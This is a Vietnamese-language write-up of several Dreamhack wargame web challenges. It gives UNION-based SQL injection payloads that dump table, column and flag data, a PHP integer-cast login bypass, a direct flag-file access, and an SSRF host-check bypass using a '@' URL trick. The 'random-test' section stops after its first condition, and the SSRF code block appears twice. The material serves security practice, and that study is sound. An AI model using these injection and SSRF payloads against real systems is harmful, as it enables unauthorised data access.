---
# System prepended metadata

title: 'Dreamhack [wargame]'

---

# baby-union

>로그인 시 계정의 정보가 출력되는 웹 서비스입니다.
SQL INJECTION 취약점을 통해 플래그를 획득하세요. 문제에서 주어진 init.sql 파일의 테이블명과 컬럼명은 실제 이름과 다릅니다.

## Solution: 

![image](https://hackmd.io/_uploads/Skw-1V--yl.png)

Cách Backend xử lý request, cụ thể Vì backend không triển khai bất kỳ filter nào và lấy giá trị từ 2 input truyền vào `uid` và `upw` truyền trực tiếp vào câu query.
![image](https://hackmd.io/_uploads/SJT8yNWWJg.png)

Cấu trúc database
![image](https://hackmd.io/_uploads/r1vJl4W-kl.png)

Hướng giải quyết như sau: đầu tiên mình sẽ dumb table (xác định table chứa flag ) -> dumb colum (xác định các cột chứa nội dung flag ) -> query và lấy flag thông qua `union select`.

**Dumb table chứa flag**
```
apple' UNION SELECT 1,TABLE_NAME,3,4 FROM INFORMATION_SCHEMA.TABLES;#
```
Ta có thể dễ nhận ra table chứa flag là `onlyflag`.
![image](https://hackmd.io/_uploads/S1uVb4--yx.png)

**Dumb column**
```
apple' UNION SELECT 1,COLUMN_NAME,3,4 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'onlyflag';#
```
![image](https://hackmd.io/_uploads/ByyTb4bbyl.png)

Giờ chỉ cần dumb data từ các cột `svalue`, `sflag` và `sclose` sau đó concat => flag

Tuy nhiên ta có thể thấy chỉ có giá trị của các cột thứ tự 1,2,4 mới được render.Vì vậy câu query để lấy data sẽ là:

```
apple' UNION SELECT svalue,sflag,3,sclose FROM onlyflag;#
```
![image](https://hackmd.io/_uploads/ry-3fEWb1x.png)


# Type c-j
>php로 작성된 페이지입니다.
알맞은 Id과 Password를 입력하여 플래그를 획득하세요.

## Solution:

![image](https://hackmd.io/_uploads/BJelr4-Wyx.png)

Gía trị được gửi đến check.php 

![image](https://hackmd.io/_uploads/rkO3UV--1x.png)
![image](https://hackmd.io/_uploads/rkdqLVWZke.png)

Hàm `getRandStr` được gọi và tạo ra một chuỗi random 10 ký tự và gán cho biến `$id`.
Sau đó sử dụng thuật toán mã hóa `sha-1` để mã hóa ký tự 1 và gán cho biến `$pw` .

**Hướng giải quyết như sau:**

Vấn đề là mình phải xác định được giá trị của `input_id` được nhập vào sao cho bằng với biến `$id` và đội dài `input_id` phải là 10.

Vấn đề kế tiếp đơn giản hơn, chỉ cần sử dụng thuật toán mã hóa `sha-1` để mã hóa ký tự 1 và lấy 8 ký tự đầu của chuỗi mã hóa gán cho `input_pw`.

Trong PHP, khi một chuỗi được chuyển đổi thành kiểu số nguyên bằng cách dùng (int), PHP sẽ đọc chuỗi từ trái sang phải.
- Nếu mình nhập một chuỗi bắt đầu bằng chữ cái bất kỳ => 0 khi convert sang int
- Nếu bắt đầu bằng một số nguyên => chỉ các số nguyên được đổi sang int.
Tương tự vậy nếu biến `$id` được tạo từ một chuỗi không bắt đầu bằng số ví dụ "abac134678" thì (int)$id cũng sẽ trả về 0.

**Vì vậy**
Sử dụng chuỗi `ababababab` có độ dài 10 ký tự cho Trường `id`.
 
Gen hash SHA1 với giá trị là 1
![image](https://hackmd.io/_uploads/HJrbsVZbJe.png)
vì chỉ cần 8 giá trị đầu => chỉ cần nhập `356a192b` cho trường `pw`

![image](https://hackmd.io/_uploads/S1WLkHWWJg.png)

Gửi một vài lần, ngay khi hàm `getRandStr` tạo một chuỗi ngẫu nhiên với chuỗi bắt đầu bằng chữ thì ta sẽ bypass được và render flag thành công.

![image](https://hackmd.io/_uploads/H1gPkHbbyl.png)

# Broken Buffalo Wings
## Description:
>Buffalo wings, also known as hot wings or chicken wings...

## Solution:

![image](https://hackmd.io/_uploads/S16mn7SWyl.png)

Khi truy cập tệp nginx.conf, có thể thấy không có bất kỳ hạn chế nào nếu truy cập trực tiệp /flag.txt.
![image](https://hackmd.io/_uploads/Syzxp7H-kg.png)

truy cập `http://host3.dreamhack.games:22303/flag.txt` và lấy flag.

![image](https://hackmd.io/_uploads/HyIUpXHbyg.png)


# random-test

## Description:

![image](https://hackmd.io/_uploads/SJskCmSWye.png)

## Solution: 

Dưới đây là src code của chall.
![Screenshot 2024-11-04 000936](https://hackmd.io/_uploads/B1pdAXHbkl.png)

Điều kiện đầu tiên là gía trị của biến `locker_num` không được rỗng, tiếp theo `rand_str[0:len(locker_num)]` sẽ lấy các ký tự của rand_str từ vị trí 0 đến vị trí `len(locker_num) - 1`.

# Broken Is SSRF possible?

## Description:
>?? : 퍼벙-(ssrf 터지는 소리)

## Solution:

![image](https://hackmd.io/_uploads/SkRkOEeLJx.png)

Đầu tiên để truy cập `/admin` thì ta phải sử dụng ip phải là `127.0.0.1`, và giá trị của tham số `nickname` được SHA256ing sẽ là giá trị biến flag.

![image](https://hackmd.io/_uploads/BJPDtNeLkg.png)

Khi truy cập `/flag` giá trị của tham số `nickname` được gửi kèm trong request sẽ được SHA256ing và so sánh với giá trị của biến `flag` ở trên nếu kết quả là `true` => trả về `flag` mà ta cần tìm để solve chall.

```
@app.route('/check-url', methods=['POST'])
def check_url():
    global isSafe
    data = request.get_json()
    if 'url' not in data:  #(1)
        return jsonify({'error': 'No URL provided'}), 400 

    url = data['url']                      
    host = re.search(r'(?<=//)[^/]+', url)
                                             
    print(host.group())
    if host is None:  #(2)
        print("호스트가 감지되지 않았습니다.")
        return "Fail"
    host = host.group()
    if ":" in host: 
        host = host.split(":")
        host = host[0]
    if host != "www.google.com":  #(3)
        isSafe = False
        return "Host는 반드시 www.google.com이어야 합니다."
    isSafe = True
    result = check_ssrf(url,1)  
    if result != "SUCCESS" or isSafe != True:
        return "SSRF를 일으킬 수 있는 URL입니다."
    try:
        response = requests.get(url)
        status_code = response.status_code
        return jsonify({'url': url, 'status_code': status_code})
    except requests.exceptions.RequestException as e:
        return jsonify({'error': 'Request Failed.'}), 500
```

1) Tại `/check-url` có thể thấy để bypass khối if `(1)` ta chỉ cần gửi dữ liệu theo format json với key name là `url`.
2) Để bypass khối if `(2)` giá trị của `url` sau khi được filter bởi chuỗi regex sau `host = re.search(r'(?<=//)[^/]+', url)` không được none.
- nói sơ qua về chuỗi regex trên thì cụ thể nó sẽ filter ra chuỗi ở giữa `//` và `/`, ví dụ nếu ta truyền http://www.google.com/something thì sau khi filter sẽ còn    www.google.com và gán cho biến `host`.
3) Sau đó khối if thứ `(3)` sẽ kiểm tra giá trị của host và 
"www.google.com" nếu khác sẽ trả về `"Host는 반드시 www.google.com이어야 합니다."`

Nếu vượt qua các khối if trên giá trị `url` sẽ được truyền vào hàm `check_url` để kiểm tra có phải là một payload thực hiện ssrf không.

```
@app.route('/check-url', methods=['POST'])
def check_url():
    global isSafe
    data = request.get_json()
    if 'url' not in data:
        return jsonify({'error': 'No URL provided'}), 400 

    url = data['url']                      
    host = re.search(r'(?<=//)[^/]+', url)
                                             
    print(host.group())
    if host is None: 
        print("호스트가 감지되지 않았습니다.")
        return "Fail"
    host = host.group()
    if ":" in host: 
        host = host.split(":")
        host = host[0]
    if host != "www.google.com": 
        isSafe = False
        return "Host는 반드시 www.google.com이어야 합니다."
    isSafe = True
    result = check_ssrf(url,1)  
    if result != "SUCCESS" or isSafe != True:
        return "SSRF를 일으킬 수 있는 URL입니다."
    try:
        response = requests.get(url)
        status_code = response.status_code
        return jsonify({'url': url, 'status_code': status_code})
    except requests.exceptions.RequestException as e:
        return jsonify({'error': 'Request Failed.'}), 500
```

Phân tích qua `/check-url` có thể thấy nếu thành công vượt qua các khối if thì `url` ban đầu được truyền vào sẽ được gửi đi thông qua đoạn code sau `response = requests.get(url,allow_redirects=False)` và ta có thể thực hiện ssrf

Nhưng vấn đề là làm sao để ta có thể chèn ip `127.0.0.1` vào yêu cầu mà host phải chứa `www.google.com` để thực hiện ssrf => ta có thể nhúng thông tin xác thực vào URL bằng `@`. 

Bây giờ ta đã có giải pháp, và vấn đề cuối cùng là phải vượt qua được các điều kiện trong hàm `check_ssrf`. Giờ thì ta sẽ vào phân tích hàm `check_ssrf`.
1) chỉ cần checked không >= 3 là ok (nghĩa là 1 payload url không được được gửi quá fail 3).
2) protocol trong url chỉ có thể là `http` và `https`.
3) và tương tự như `check_url()` thì host sau khi filter bởi chuỗi regex giống `check_url()` không được none.
4) và giá trị `host` phải tồn tại.

Tổng hợp lại ta có payload như sau:
```
http://www.google.com:pwd@127.0.0.1/admin?nickname=healtheworld
```

![image](https://hackmd.io/_uploads/SyXNe8e8Jx.png)

giờ ta đã thành công gán giá trị `healtheworld` được SHA256ing cho biến flag.
Sau đó tiếp tục gửi một request đến `/flag` với tham số `nickname="healtheworld"` để lấy flag. => biến flag sẽ so sánh với `healtheworld` từ request `/flag` được SHA256ing và trả về `true`.

```
DH{please_share_your_idea_okay_good}
```